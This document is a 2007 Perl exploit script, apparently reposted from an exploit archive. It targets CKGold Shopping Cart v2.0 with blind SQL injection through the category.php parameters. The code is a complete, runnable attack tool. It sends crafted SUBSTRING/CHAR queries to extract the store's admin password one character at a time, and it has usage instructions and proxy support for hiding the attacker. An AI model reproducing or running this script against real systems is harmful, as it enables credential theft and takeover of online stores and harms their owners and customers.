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ckgold-sql.txt

Posted on 01 September 2007

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[4])
{
print "
  |-------------------------------------------------|";
print "
  |                newhack[dot]org                  |";
print "
  |-------------------------------------------------|";
print "
  |  CKGold Shopping Cart v2.0 Blind SQL Injection  |";
print "
  |          Found by k1tk4t - Indonesia            |";
print "
  |   DNX Code  dnx[at]hackermail.com | Modified    |";
print "
  |-------------------------------------------------|";
print "
[!] Vendor: http://www.cartkeeper.com";
print "
[!] Usage: perl CKGold.pl [Host] [Path] <Options>";
print "
[!] Example: perl CKGold.pl 127.0.0.1 /shop/ -m 1 -c 10 -t tbl_system";
print "
[!] Options:";
print "
       -m [no]       Valid manufacturer_id";
print "
       -c [no]       Valid category_id";
print "
       -t [name]     Changes the system table name, default is tbl_system";
print "
       -p [ip:port]  Proxy support";
print "
";
exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $mfr     = $ARGV[2];
my $cat     = $ARGV[3];
my $table   = "tbl_system";
my %options = ();
GetOptions(\%options, "m=i", "c=i", "t=s", "p=s");

print "[!] Exploiting...
";

if($options{"m"}) { $mfr = $options{"m"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Admin Password : ", 21);

for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

print "
[!] Exploit done
";

sub istrue2
{
my $host  = shift;
my $path  = shift;
my $table = shift;
my $i     = shift;
my $h     = shift;

my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."category.php?manufacturer_id=".$mfr."&category_id=".$cat."%20AND%20SUBSTRING((SELECT%20admin_password%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;
my $regexp = "<th>Products</th>";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

 

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